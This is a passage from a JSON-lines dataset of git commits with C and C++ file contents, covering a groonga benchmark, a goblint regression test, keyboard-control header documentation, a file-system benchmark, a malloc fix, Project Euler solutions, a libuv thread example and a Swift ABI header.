grn_hash_add(&ctx, (grn_hash *)result_set, &id, sizeof(grn_id), NULL, NULL);\n  }\n  grn_timeval end;\n  grn_timeval_now(&ctx, &end);\n  double elapsed =\n    (end.tv_sec + (end.tv_nsec \/ GRN_TIME_NSEC_PER_SEC_F)) -\n    (start.tv_sec + (start.tv_nsec \/ GRN_TIME_NSEC_PER_SEC_F));\n  printf(\"%f:%d\\n\", elapsed, grn_table_size(&ctx, result_set));\n  grn_obj_close(&ctx, result_set);\n  grn_obj_close(&ctx, db);\n  grn_ctx_fin(&ctx);\n\n  grn_fin();\n\n  return EXIT_SUCCESS;\n}\n","subject":"Add result set benchmark program without GLib","message":"Add result set benchmark program without GLib\n","lang":"C","license":"lgpl-2.1","repos":"komainu8\/groonga,groonga\/groonga,groonga\/groonga,kenhys\/groonga,groonga\/groonga,komainu8\/groonga,groonga\/groonga,kenhys\/groonga,kenhys\/groonga,kenhys\/groonga,groonga\/groonga,naoa\/groonga,komainu8\/groonga,naoa\/groonga,komainu8\/groonga,kenhys\/groonga,komainu8\/groonga,kenhys\/groonga,komainu8\/groonga,kenhys\/groonga,komainu8\/groonga,naoa\/groonga,komainu8\/groonga,naoa\/groonga,groonga\/groonga,groonga\/groonga,naoa\/groonga,kenhys\/groonga,naoa\/groonga,groonga\/groonga,naoa\/groonga,naoa\/groonga"}
{"commit":"2bc66f36fe9c019dceaa001aa9a5a061dae25abe","old_file":"tests\/regression\/02-base\/90-memcpy.c","new_file":"tests\/regression\/02-base\/90-memcpy.c","old_contents":"","new_contents":"\n\/\/ Test case taken from sqlite3.c\n#include <string.h>\n\ntypedef unsigned long u64;\n\n# define EXP754 (((u64)0x7ff)<<52)\n# define MAN754 ((((u64)1)<<52)-1)\n# define IsNaN(X) (((X)&EXP754)==EXP754 && ((X)&MAN754)!=0)\n\n\nstatic int sqlite3IsNaN(double x){\n  int rc;   \/* The value return *\/\n  u64 y;\n  memcpy(&y,&x,sizeof(y));  \/\/ Goblint used to crash here\n  rc = IsNaN(y);\n  return rc;\n}\n\nint main(){\n    sqlite3IsNaN(23.0);\n    return 0;\n}\n","subject":"Add test case that makes goblint crash","message":"Add test case that makes goblint crash\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"a9f037c1e95e9cc31a91b43be90ac0c44b09d835","old_file":"DAKeyboardControl\/DAKeyboardControl.h","new_file":"DAKeyboardControl\/DAKeyboardControl.h","old_contents":"\/\/\n\/\/  DAKeyboardControl.h\n\/\/  DAKeyboardControlExample\n\/\/\n\/\/  Created by Daniel Amitay on 7\/14\/12.\n\/\/  Copyright (c) 2012 Daniel Amitay. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\ntypedef void (^DAKeyboardDidMoveBlock)(CGRect keyboardFrameInView);\n\n@interface UIView (DAKeyboardControl)\n\n@property (nonatomic) CGFloat keyboardTriggerOffset;\n@property (nonatomic, readonly) BOOL keyboardWillRecede;\n\n- (void)addKeyboardPanningWithActionHandler:(DAKeyboardDidMoveBlock)didMoveBlock;\n- (void)addKeyboardNonpanningWithActionHandler:(DAKeyboardDidMoveBlock)didMoveBlock;\n\n- (void)removeKeyboardControl;\n\n- (CGRect)keyboardFrameInView;\n\n- (void)hideKeyboard;\n\n@end\n\n","new_contents":"\/\/\n\/\/  DAKeyboardControl.h\n\/\/  DAKeyboardControlExample\n\/\/\n\/\/  Created by Daniel Amitay on 7\/14\/12.\n\/\/  Copyright (c) 2012 Daniel Amitay. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\ntypedef void (^DAKeyboardDidMoveBlock)(CGRect keyboardFrameInView);\n\n\/** DAKeyboardControl allows you to easily add keyboard awareness and scrolling\n dismissal (a receding keyboard ala iMessages app) to any UIView, UIScrollView\n or UITableView with only 1 line of code. DAKeyboardControl automatically\n extends UIView and provides a block callback with the keyboard's current origin.\n *\/\n\n@interface UIView (DAKeyboardControl)\n\n\/** The keyboardTriggerOffset property allows you to choose at what point the\n user's finger \"engages\" the keyboard.\n *\/\n@property (nonatomic) CGFloat keyboardTriggerOffset;\n@property (nonatomic, readonly) BOOL keyboardWillRecede;\n\n\/** Adding pan-to-dismiss (functionality introduced in iMessages)\n @param didMoveBlock called everytime the keyboard is moved so you can update\n  the frames of your views\n @see addKeyboardNonpanningWithActionHandler:\n @see removeKeyboardControl\n *\/\n- (void)addKeyboardPanningWithActionHandler:(DAKeyboardDidMoveBlock)didMoveBlock;\n\n\/** Adding keyboard awareness (appearance and disappearance only)\n @param didMoveBlock called everytime the keyboard is moved so you can update\n  the frames of your views\n @see addKeyboardPanningWithActionHandler:\n @see removeKeyboardControl\n *\/\n- (void)addKeyboardNonpanningWithActionHandler:(DAKeyboardDidMoveBlock)didMoveBlock;\n\n\/** Remove the keyboard action handler\n @note You MUST call this method to remove the keyboard handler before the view\n  goes out of memory.\n *\/\n- (void)removeKeyboardControl;\n\n\/** Returns the keyboard frame in the view *\/\n- (CGRect)keyboardFrameInView;\n\n\/** Convenience method to dismiss the keyboard *\/\n- (void)hideKeyboard;\n\n@end\n\n","subject":"Add documentation to the headers","message":"Add documentation to the headers\n","lang":"C","license":"mit","repos":"AlexanderMazaletskiy\/DAKeyboardControl,gaurav1981\/DAKeyboardControl,jivesoftware\/DAKeyboardControl,cnbin\/DAKeyboardControl,Rusik\/DAKeyboardControl,danielamitay\/DAKeyboardControl"}
{"commit":"a023e3cc0b361824d896c5eeb56dccdaa4555b6b","old_file":"fileops\/filecreation.c","new_file":"fileops\/filecreation.c","old_contents":"","new_contents":"\/*\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n\/*\n * This program is used to create many empty files for testing file system performance\n *\/\n\n#include <stdio.h>\n#include <time.h>\n#include <stdlib.h>\n\n#define MAX_COUNT 100000\n\nconst char alphanum[] = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n\nvoid gen_random(char *s, const int len)\n{\n\tint i;\n\tfor (i = 0; i < len; i++) {\n\t\ts[i] = alphanum[rand() % (sizeof(alphanum) - 1)];\n\t}\n\ts[len] = 0;\n}\n\nint main()\n{\n\tint i;\n\tFILE *f;\n\tchar fname[15];\n\ttime_t start, end;\n\n\ttime(&start);\n\tfor (i = 0; i < MAX_COUNT; i++) {\n\t\tgen_random(fname, 15);\n\t\tf = fopen(fname, \"w\");\n\t\tif (f != NULL) {\n\t\t\tfclose(f);\n\t\t} else {\n\t\t\tperror(\"Error creating file\\n\");\n\t\t\texit(1);\n\t\t}\n\t}\n\ttime(&end);\n\tprintf(\"Time taken %f\\n\", difftime(end, start));\n\treturn 0;\n}\n","subject":"Add program to create a lot of files in a directory","message":"Add program to create a lot of files in a directory\n\nUseful for testing file system performance\n\nSigned-off-by: Prashant P Shah <80f978b5ac27fb318171799f0fb6a277863f2bf5@gmail.com>\n","lang":"C","license":"cc0-1.0","repos":"prashants\/tools,prashants\/tools,prashants\/tools"}
{"commit":"94b6248c36aa9a16db2d45bd665376cd71d92108","old_file":"safe-memory.c","new_file":"safe-memory.c","old_contents":"#include \"safe-memory.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nvoid* safe_malloc_function(size_t size, const char* calling_function)\n{\n    void* memory = malloc(size);\n    if (!memory)\n    {\n        fprintf(stderr, \"Error: not enough memory for malloc in function: %s\",\n                calling_function);\n        exit(EXIT_FAILURE);\n    }\n    memset(memory, 0, size);\n    return memory;\n}\n","new_contents":"#include \"safe-memory.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nvoid* safe_malloc_function(size_t size, const char* calling_function)\n{\n    if (size == 0)\n    {\n        return NULL;\n    }\n\n    void* memory = malloc(size);\n    if (!memory)\n    {\n        fprintf(stderr, \"Error: not enough memory for malloc in function: %s\",\n                calling_function);\n        exit(EXIT_FAILURE);\n    }\n    memset(memory, 0, size);\n    return memory;\n}\n","subject":"Check if `size == 0` in `safe_malloc_function()`","message":"Check if `size == 0` in `safe_malloc_function()`\n\nIf the size passed to `safe_malloc` is zero, return NULL. This also prevents `safe_malloc` from exiting if zero is passed, while memory allocation succeeded.\n","lang":"C","license":"mit","repos":"ErwinJanssen\/elegan-c,VanJanssen\/elegan-c,VanJanssen\/safe-c"}
{"commit":"fc78907b913c85f749053e3ce4f6556e5885f3ad","old_file":"arch\/proc\/IOResponseMultiplexer.h","new_file":"arch\/proc\/IOResponseMultiplexer.h","old_contents":"#ifndef IORESPONSEMUX_H\n#define IORESPONSEMUX_H\n\n#ifndef PROCESSOR_H\n#error This file should be included in Processor.h\n#endif\n\nclass IOResponseMultiplexer : public Object\n{\nprivate:\n    RegisterFile&                m_regFile;\n\n    struct IOResponse\n    {\n        IODeviceID  device;\n        IOData      data;\n    };\n    Buffer<IOResponse>            m_incoming;\n\n    typedef Buffer<RegAddr>       WriteBackQueue;\n    std::vector<WriteBackQueue*>  m_wb_buffers;\n\n    Process p_dummy;\n    Result DoNothing() { return SUCCESS; }\n\npublic:\n    IOResponseMultiplexer(const std::string& name, Object& parent, Clock& clock, RegisterFile& rf, size_t numDevices, Config& config);\n    ~IOResponseMultiplexer();\n\n    \/\/ sent by device select upon an I\/O read from the processor\n    bool QueueWriteBackAddress(IODeviceID dev, const RegAddr& addr);\n\n    \/\/ triggered by the IOBusInterface\n    bool OnReadResponseReceived(IODeviceID from, MemAddr address, const IOData& data);\n\n    Process p_IncomingReadResponses;\n    \n    \/\/ upon data available on m_incoming\n    Result DoReceivedReadResponses();\n};\n\n\n\n#endif\n","new_contents":"#ifndef IORESPONSEMUX_H\n#define IORESPONSEMUX_H\n\n#ifndef PROCESSOR_H\n#error This file should be included in Processor.h\n#endif\n\nclass IOResponseMultiplexer : public Object\n{\nprivate:\n    RegisterFile&                m_regFile;\n\n    struct IOResponse\n    {\n        IODeviceID  device;\n        IOData      data;\n    };\n    Buffer<IOResponse>            m_incoming;\n\n    typedef Buffer<RegAddr>       WriteBackQueue;\n    std::vector<WriteBackQueue*>  m_wb_buffers;\n\n    Process p_dummy;\n    Result DoNothing() { p_dummy.Deactivate(); return SUCCESS; }\n\npublic:\n    IOResponseMultiplexer(const std::string& name, Object& parent, Clock& clock, RegisterFile& rf, size_t numDevices, Config& config);\n    ~IOResponseMultiplexer();\n\n    \/\/ sent by device select upon an I\/O read from the processor\n    bool QueueWriteBackAddress(IODeviceID dev, const RegAddr& addr);\n\n    \/\/ triggered by the IOBusInterface\n    bool OnReadResponseReceived(IODeviceID from, MemAddr address, const IOData& data);\n\n    Process p_IncomingReadResponses;\n    \n    \/\/ upon data available on m_incoming\n    Result DoReceivedReadResponses();\n};\n\n\n\n#endif\n","subject":"Reduce the amount of process activity for incoming I\/O read responses.","message":"[mgsim-refactor] Reduce the amount of process activity for incoming I\/O read responses.\n\ngit-svn-id: c257622338fa90c299bfd3fbe1eee5dac8caa856@4465 e97e5017-a994-416e-809d-76780e9f78db\n","lang":"C","license":"mit","repos":"Bitblade-org\/mgsim,Bitblade-org\/mgsim,Bitblade-org\/mgsim,Bitblade-org\/mgsim"}
{"commit":"0c93228d8a9028d03c22a122e464c51b57ff51a5","old_file":"problem_003.c","new_file":"problem_003.c","old_contents":"","new_contents":"\/*\n * he prime factors of 13195 are 5, 7, 13 and 29.\n *\n * What is the largest prime factor of the number 600851475143 ?\n *\/\n\n#include <stdio.h>\n\nint\nmain(int argc, char **argv)\n{\n    long long int num = 600851475143;\n    int x;\n    for(x = 2; x < num; x++) {\n        if(num % x == 0) {\n            num \/= x;\n            x--;\n        }\n    }\n    printf(\"%i\\n\", x);\n    return 0;\n}\n","subject":"Add solution for problem 3","message":"Add solution for problem 3\n","lang":"C","license":"bsd-2-clause","repos":"skreuzer\/euler"}
{"commit":"935972a87170e1e79de28573018e7588238c3d75","old_file":"problem_009.c","new_file":"problem_009.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdint.h>\n#include \"euler.h\"\n\n#define PROBLEM 9\n#define ANSWER 31875000\n\nint\nmain(int argc, char **argv)\n{\n    int a, b, c, a2, b2, c2;\n    int product = 0;\n    for(a = 1; a < 1000; a++) {\n        for(b = 1; b < 1000; b++) {\n            a2 = a * a;\n            b2 = b * b;\n            for(c = 1; c < 1000; c++) {\n                c2 = c * c;\n                if((a2 + b2 == c2) && (a + b + c == 1000)) {\n                    product = a * b * c;\n                }\n            }\n        }\n    }\n    return check(PROBLEM, ANSWER, product);\n}\n","subject":"Add a solution for problem 9","message":"Add a solution for problem 9\n","lang":"C","license":"bsd-2-clause","repos":"skreuzer\/euler"}
{"commit":"33e85ca6a9881e511a989e4396d4f5f861073c68","old_file":"simple-thread.c","new_file":"simple-thread.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <assert.h>\n\n#include \"uv.h\"\n\nstatic uv_thread_t thread;\n\n\nstatic void thread_cb(void* arg) {\n  printf(\"hello thread!\\n\");\n}\n\n\nint main() {\n  int r = uv_thread_create(&thread, thread_cb, NULL);\n  assert(r == 0);\n\n  \/* pause execution of this thread until the spawned thread has had\n   * time to finish execution. *\/\n  uv_thread_join(&thread);\n\n  return 0;\n}\n","subject":"Add super simple thread creation case","message":"Add super simple thread creation case\n","lang":"C","license":"mit","repos":"trevnorris\/libuv-examples"}
{"commit":"2ef8096728cecf6407e2e121027fb2da097a7b73","old_file":"src\/ExprGen.h","new_file":"src\/ExprGen.h","old_contents":"#include <string>\n\n#include \"Type.h\"\n\nclass VarStack;\n\nenum ArithmeticOperator {\n\tNEGATE = 0,\n\tSUM,\n\tDIFFERENCE,\n\tMULTIPLY,\n\tDIVIDE\n};\n\n#define NUM_ARITHMETIC_OPERATORS 5\n\nenum LogicOperator {\n\tLESS_THAN = 0,\n\tLESS_THAN_OR_EQUAL,\n\tEQUAL,\n\tGREATER_THAN_OR_EQUAL,\n\tGREATER_THAN\n};\n\n#define NUM_LOGIC_OPERATORS 5\n\nclass ExprGen {\npublic:\n\tExprGen();\n\tvoid setVarStack(VarStack *vStack);\n\tstring genArithmeticExpr(SupportedType type);\nprivate:\n\tVarStack *variableStack;\n\tstring getRandVarOrValue(SupportedType type);\n};\n\nextern ExprGen g_exprGen;","new_contents":"#include <string>\n\n#include \"Type.h\"\n\nclass VarStack;\n\nenum ArithmeticOperator {\n\tNEGATE = 0,\n\tSUM,\n\tDIFFERENCE,\n\tMULTIPLY,\n\tDIVIDE\n};\n\n#define NUM_ARITHMETIC_OPERATORS 5\n\nenum LogicOperator {\n\tLESS_THAN = 0,\n\tLESS_THAN_OR_EQUAL,\n\tEQUAL,\n\tGREATER_THAN_OR_EQUAL,\n\tGREATER_THAN\n};\n\n#define NUM_LOGIC_OPERATORS 5\n\nclass ExprGen {\npublic:\n\tExprGen();\n\tvoid setVarStack(VarStack *vStack);\n\tstring genArithmeticExpr(SupportedType type);\nprivate:\n\tVarStack *variableStack;\n\tstring getRandVarOrValue(SupportedType type);\n};\n\nextern ExprGen g_exprGen;\n","subject":"Add newline to end of file","message":"Add newline to end of file\n","lang":"C","license":"mit","repos":"m1c0l\/RPG"}
{"commit":"86b46cab1683a68b3f34478d1e8465ebb1ea3a96","old_file":"include\/swift\/ABI\/Class.h","new_file":"include\/swift\/ABI\/Class.h","old_contents":"","new_contents":"\/\/===--- Class.h - Compiler\/runtime class-metadata values -------*- C++ -*-===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2015 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This header provides target-independent information about class\n\/\/ metadata.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef SWIFT_ABI_CLASS_H\n#define SWIFT_ABI_CLASS_H\n\n#include <stdint.h>\n\nnamespace swift {\n\n\/\/\/ Flags which \nenum class ClassFlags : uint32_t {\n  \/\/\/ This class is a meta-class.\n  Meta                 = 0x00001,\n\n  \/\/\/ This class is a root class.\n  Root                 = 0x00002,\n\n  \/\/\/ This class provides a non-trivial .cxx_construct or .cxx_destruct\n  \/\/\/ implementation.\n  HasCXXStructors      = 0x00004,\n\n  \/\/\/ This class has hidden visibility.\n  Hidden               = 0x00010,\n\n  \/\/\/ This class has the exception attribute.\n  Exception            = 0x00020,\n\n  \/\/\/ (Obsolete) ARC-specific: this class has a .release_ivars method\n  HasIvarReleaser      = 0x00040,\n\n  \/\/\/ This class implementation was compiled under ARC.\n  CompiledByARC        = 0x00080,\n\n  \/\/\/ This class provides a non-trivial .cxx_destruct method, but\n  \/\/\/ its .cxx_construct is trivial.  For backwards compatibility,\n  \/\/\/ when setting this flag, HasCXXStructors must be set as well.\n  HasCXXDestructorOnly = 0x00100\n};\ninline ClassFlags &operator|=(ClassFlags &lhs, ClassFlags rhs) {\n  lhs = ClassFlags(uint32_t(lhs) | uint32_t(rhs));\n  return lhs;\n}\ninline ClassFlags operator|(ClassFlags lhs, ClassFlags rhs) {\n  return (lhs |= rhs);\n}\n\n}\n\n#endif\n","subject":"Add a file for some ObjC class ABI constants.","message":"Add a file for some ObjC class ABI constants.\n\nSwift SVN r3474\n","lang":"C","license":"apache-2.0","repos":"jtbandes\/swift,lorentey\/swift,JGiola\/swift,ken0nek\/swift,atrick\/swift,austinzheng\/swift,atrick\/swift,sdulal\/swift,swiftix\/swift.old,MukeshKumarS\/Swift,jtbandes\/swift,dduan\/swift,deyton\/swift,uasys\/swift,shajrawi\/swift,zisko\/swift,kstaring\/swift,felix91gr\/swift,karwa\/swift,lorentey\/swift,rudkx\/swift,stephentyrone\/swift,danielmartin\/swift,gmilos\/swift,manavgabhawala\/swift,tinysun212\/swift-windows,djwbrown\/swift,lorentey\/swift,ken0nek\/swift,kentya6\/swift,Ivacker\/swift,lorentey\/swift,CodaFi\/swift,ben-ng\/swift,atrick\/swift,karwa\/swift,roambotics\/swift,felix91gr\/swift,shahmishal\/swift,jmgc\/swift,adrfer\/swift,kperryua\/swift,mightydeveloper\/swift,practicalswift\/swift,adrfer\/swift,cbrentharris\/swift,hughbe\/swift,apple\/swift,nathawes\/swift,devincoughlin\/swift,huonw\/swift,amraboelela\/swift,therealbnut\/swift,shahmishal\/swift,danielmartin\/swift,modocache\/swift,hooman\/swift,gmilos\/swift,Ivacker\/swift,hughbe\/swift,aschwaighofer\/swift,tardieu\/swift,jckarter\/swift,gribozavr\/swift,devincoughlin\/swift,modocache\/swift,MukeshKumarS\/Swift,brentdax\/swift,milseman\/swift,gmilos\/swift,adrfer\/swift,natecook1000\/swift,CodaFi\/swift,calebd\/swift,benlangmuir\/swift,ben-ng\/swift,LeoShimonaka\/swift,austinzheng\/swift,sschiau\/swift,SwiftAndroid\/swift,benlangmuir\/swift,swiftix\/swift,allevato\/swift,ben-ng\/swift,xedin\/swift,practicalswift\/swift,LeoShimonaka\/swift,dreamsxin\/swift,lorentey\/swift,devincoughlin\/swift,return\/swift,tkremenek\/swift,MukeshKumarS\/Swift,Jnosh\/swift,atrick\/swift,tkremenek\/swift,gribozavr\/swift,aschwaighofer\/swift,dreamsxin\/swift,OscarSwanros\/swift,gregomni\/swift,karwa\/swift,bitjammer\/swift,JaSpa\/swift,codestergit\/swift,OscarSwanros\/swift,gottesmm\/swift,codestergit\/swift,kstaring\/swift,tkremenek\/swift,huonw\/swift,mightydeveloper\/swift,kentya6\/swift,frootloops\/swift,sschiau\/swift,johnno1962d\/swift,harlanhaskins\/swift,jtbandes\/swift,JaSpa\/swift,jmgc\/swift,bitjammer\/swift,therealbnut\/swift,russbishop\/swift,austinzheng\/swift,zisko\/swift,alblue\/swift,xwu\/swift,natecook1000\/swift,lorentey\/swift,IngmarStein\/swift,karwa\/swift,devincoughlin\/swift,modocache\/swift,frootloops\/swift,nathawes\/swift,amraboelela\/swift,parkera\/swift,uasys\/swift,gregomni\/swift,shahmishal\/swift,parkera\/swift,roambotics\/swift,tjw\/swift,bitjammer\/swift,stephentyrone\/swift,LeoShimonaka\/swift,benlangmuir\/swift,jopamer\/swift,swiftix\/swift.old,danielmartin\/swift,rudkx\/swift,djwbrown\/swift,Ivacker\/swift,natecook1000\/swift,huonw\/swift,frootloops\/swift,khizkhiz\/swift,tkremenek\/swift,khizkhiz\/swift,Ivacker\/swift,harlanhaskins\/swift,stephentyrone\/swift,LeoShimonaka\/swift,shajrawi\/swift,gregomni\/swift,aschwaighofer\/swift,karwa\/swift,amraboelela\/swift,aschwaighofer\/swift,manavgabhawala\/swift,therealbnut\/swift,benlangmuir\/swift,johnno1962d\/swift,xedin\/swift,ben-ng\/swift,djwbrown\/swift,codestergit\/swift,russbishop\/swift,calebd\/swift,tjw\/swift,tardieu\/swift,aschwaighofer\/swift,kstaring\/swift,tjw\/swift,kperryua\/swift,emilstahl\/swift,zisko\/swift,swiftix\/swift.old,SwiftAndroid\/swift,sdulal\/swift,russbishop\/swift,uasys\/swift,JGiola\/swift,apple\/swift,MukeshKumarS\/Swift,aschwaighofer\/swift,sschiau\/swift,ken0nek\/swift,nathawes\/swift,gregomni\/swift,tkremenek\/swift,huonw\/swift,zisko\/swift,tardieu\/swift,Jnosh\/swift,shahmishal\/swift,parkera\/swift,kentya6\/swift,calebd\/swift,emilstahl\/swift,jckarter\/swift,hughbe\/swift,hooman\/swift,nathawes\/swift,brentdax\/swift,JGiola\/swift,deyton\/swift,devincoughlin\/swift,shajrawi\/swift,brentdax\/swift,xedin\/swift,johnno1962d\/swift,xedin\/swift,tjw\/swift,frootloops\/swift,natecook1000\/swift,emilstahl\/swift,jmgc\/swift,apple\/swift,parkera\/swift,frootloops\/swift,modocache\/swift,return\/swift,huonw\/swift,JGiola\/swift,bitjammer\/swift,roambotics\/swift,manavgabhawala\/swift,natecook1000\/swift,modocache\/swift,allevato\/swift,danielmartin\/swift,deyton\/swift,OscarSwanros\/swift,cbrentharris\/swift,roambotics\/swift,danielmartin\/swift,uasys\/swift,gribozavr\/swift,xwu\/swift,calebd\/swift,gribozavr\/swift,gottesmm\/swift,KrishMunot\/swift,swiftix\/swift.old,JaSpa\/swift,harlanhaskins\/swift,sschiau\/swift,nathawes\/swift,atrick\/swift,gottesmm\/swift,shahmishal\/swift,karwa\/swift,swiftix\/swift,gribozavr\/swift,xedin\/swift,JGiola\/swift,glessard\/swift,kusl\/swift,airspeedswift\/swift,kperryua\/swift,gregomni\/swift,therealbnut\/swift,practicalswift\/swift,zisko\/swift,bitjammer\/swift,khizkhiz\/swift,cbrentharris\/swift,ken0nek\/swift,kentya6\/swift,mightydeveloper\/swift,emilstahl\/swift,kperryua\/swift,manavgabhawala\/swift,dduan\/swift,ahoppen\/swift,codestergit\/swift,shahmishal\/swift,felix91gr\/swift,tardieu\/swift,swiftix\/swift,alblue\/swift,swiftix\/swift,rudkx\/swift,uasys\/swift,gottesmm\/swift,hooman\/swift,IngmarStein\/swift,russbishop\/swift,CodaFi\/swift,jmgc\/swift,kentya6\/swift,natecook1000\/swift,kentya6\/swift,KrishMunot\/swift,austinzheng\/swift,return\/swift,kentya6\/swift,austinzheng\/swift,deyton\/swift,arvedviehweger\/swift,airspeedswift\/swift,kstaring\/swift,emilstahl\/swift,slavapestov\/swift,felix91gr\/swift,dduan\/swift,allevato\/swift,ben-ng\/swift,stephentyrone\/swift,gottesmm\/swift,ahoppen\/swift,hughbe\/swift,ken0nek\/swift,apple\/swift,emilstahl\/swift,therealbnut\/swift,stephentyrone\/swift,djwbrown\/swift,danielmartin\/swift,IngmarStein\/swift,russbishop\/swift,swiftix\/swift.old,MukeshKumarS\/Swift,gribozavr\/swift,sdulal\/swift,adrfer\/swift,natecook1000\/swift,jopamer\/swift,KrishMunot\/swift,glessard\/swift,zisko\/swift,practicalswift\/swift,hooman\/swift,jopamer\/swift,tinysun212\/swift-windows,airspeedswift\/swift,sschiau\/swift,roambotics\/swift,arvedviehweger\/swift,codestergit\/swift,practicalswift\/swift,stephentyrone\/swift,tinysun212\/swift-windows,Jnosh\/swift,KrishMunot\/swift,xedin\/swift,lorentey\/swift,felix91gr\/swift,shajrawi\/swift,allevato\/swift,sdulal\/swift,jmgc\/swift,Jnosh\/swift,hughbe\/swift,adrfer\/swift,khizkhiz\/swift,jtbandes\/swift,kentya6\/swift,brentdax\/swift,xedin\/swift,rudkx\/swift,karwa\/swift,kusl\/swift,harlanhaskins\/swift,modocache\/swift,mightydeveloper\/swift,gmilos\/swift,jopamer\/swift,jckarter\/swift,OscarSwanros\/swift,gribozavr\/swift,return\/swift,codestergit\/swift,OscarSwanros\/swift,deyton\/swift,slavapestov\/swift,benlangmuir\/swift,kperryua\/swift,jckarter\/swift,Ivacker\/swift,allevato\/swift,calebd\/swift,ahoppen\/swift,tardieu\/swift,shajrawi\/swift,adrfer\/swift,milseman\/swift,jckarter\/swift,glessard\/swift,shajrawi\/swift,harlanhaskins\/swift,Ivacker\/swift,nathawes\/swift,calebd\/swift,alblue\/swift,kstaring\/swift,gmilos\/swift,tjw\/swift,practicalswift\/swift,parkera\/swift,LeoShimonaka\/swift,tjw\/swift,dduan\/swift,JaSpa\/swift,nathawes\/swift,SwiftAndroid\/swift,lorentey\/swift,Jnosh\/swift,devincoughlin\/swift,tinysun212\/swift-windows,LeoShimonaka\/swift,JaSpa\/swift,johnno1962d\/swift,MukeshKumarS\/Swift,jtbandes\/swift,jckarter\/swift,atrick\/swift,airspeedswift\/swift,slavapestov\/swift,milseman\/swift,apple\/swift,russbishop\/swift,practicalswift\/swift,gottesmm\/swift,uasys\/swift,glessard\/swift,gmilos\/swift,manavgabhawala\/swift,CodaFi\/swift,amraboelela\/swift,codestergit\/swift,alblue\/swift,sdulal\/swift,ahoppen\/swift,shajrawi\/swift,gribozavr\/swift,khizkhiz\/swift,SwiftAndroid\/swift,alblue\/swift,hooman\/swift,therealbnut\/swift,LeoShimonaka\/swift,ken0nek\/swift,amraboelela\/swift,JaSpa\/swift,devincoughlin\/swift,huonw\/swift,airspeedswift\/swift,swiftix\/swift,glessard\/swift,jopamer\/swift,airspeedswift\/swift,cbrentharris\/swift,hooman\/swift,frootloops\/swift,slavapestov\/swift,IngmarStein\/swift,OscarSwanros\/swift,therealbnut\/swift,stephentyrone\/swift,arvedviehweger\/swift,kperryua\/swift,SwiftAndroid\/swift,brentdax\/swift,uasys\/swift,djwbrown\/swift,arvedviehweger\/swift,apple\/swift,swiftix\/swift.old,KrishMunot\/swift,return\/swift,cbrentharris\/swift,CodaFi\/swift,xedin\/swift,Jnosh\/swift,mightydeveloper\/swift,ahoppen\/swift,tkremenek\/swift,gregomni\/swift,emilstahl\/swift,IngmarStein\/swift,milseman\/swift,swiftix\/swift.old,jckarter\/swift,kusl\/swift,felix91gr\/swift,brentdax\/swift,milseman\/swift,ben-ng\/swift,cbrentharris\/swift,shahmishal\/swift,sdulal\/swift,karwa\/swift,tinysun212\/swift-windows,slavapestov\/swift,hughbe\/swift,allevato\/swift,Ivacker\/swift,parkera\/swift,return\/swift,mightydeveloper\/swift,austinzheng\/swift,rudkx\/swift,felix91gr\/swift,alblue\/swift,benlangmuir\/swift,KrishMunot\/swift,xwu\/swift,emilstahl\/swift,huonw\/swift,cbrentharris\/swift,khizkhiz\/swift,tinysun212\/swift-windows,ken0nek\/swift,xwu\/swift,KrishMunot\/swift,xwu\/swift,IngmarStein\/swift,gmilos\/swift,johnno1962d\/swift,brentdax\/swift,mightydeveloper\/swift,sschiau\/swift,jtbandes\/swift,tardieu\/swift,swiftix\/swift,aschwaighofer\/swift,Ivacker\/swift,sdulal\/swift,zisko\/swift,jmgc\/swift,Jnosh\/swift,devincoughlin\/swift,dduan\/swift,ahoppen\/swift,ben-ng\/swift,slavapestov\/swift,frootloops\/swift,mightydeveloper\/swift,manavgabhawala\/swift,kusl\/swift,djwbrown\/swift,harlanhaskins\/swift,modocache\/swift,tkremenek\/swift,kusl\/swift,dduan\/swift,CodaFi\/swift,kusl\/swift,amraboelela\/swift,kusl\/swift,johnno1962d\/swift,sschiau\/swift,JGiola\/swift,milseman\/swift,deyton\/swift,OscarSwanros\/swift,bitjammer\/swift,swiftix\/swift.old,johnno1962d\/swift,kstaring\/swift,SwiftAndroid\/swift,slavapestov\/swift,alblue\/swift,SwiftAndroid\/swift,dduan\/swift,hooman\/swift,gottesmm\/swift,bitjammer\/swift,kusl\/swift,tinysun212\/swift-windows,roambotics\/swift,parkera\/swift,shajrawi\/swift,harlanhaskins\/swift,khizkhiz\/swift,airspeedswift\/swift,jtbandes\/swift,calebd\/swift,return\/swift,danielmartin\/swift,swiftix\/swift,arvedviehweger\/swift,hughbe\/swift,milseman\/swift,cbrentharris\/swift,allevato\/swift,adrfer\/swift,djwbrown\/swift,parkera\/swift,CodaFi\/swift,shahmishal\/swift,xwu\/swift,jopamer\/swift,kperryua\/swift,arvedviehweger\/swift,arvedviehweger\/swift,tjw\/swift,LeoShimonaka\/swift,glessard\/swift,IngmarStein\/swift,practicalswift\/swift,MukeshKumarS\/Swift,sdulal\/swift,amraboelela\/swift,rudkx\/swift,deyton\/swift,xwu\/s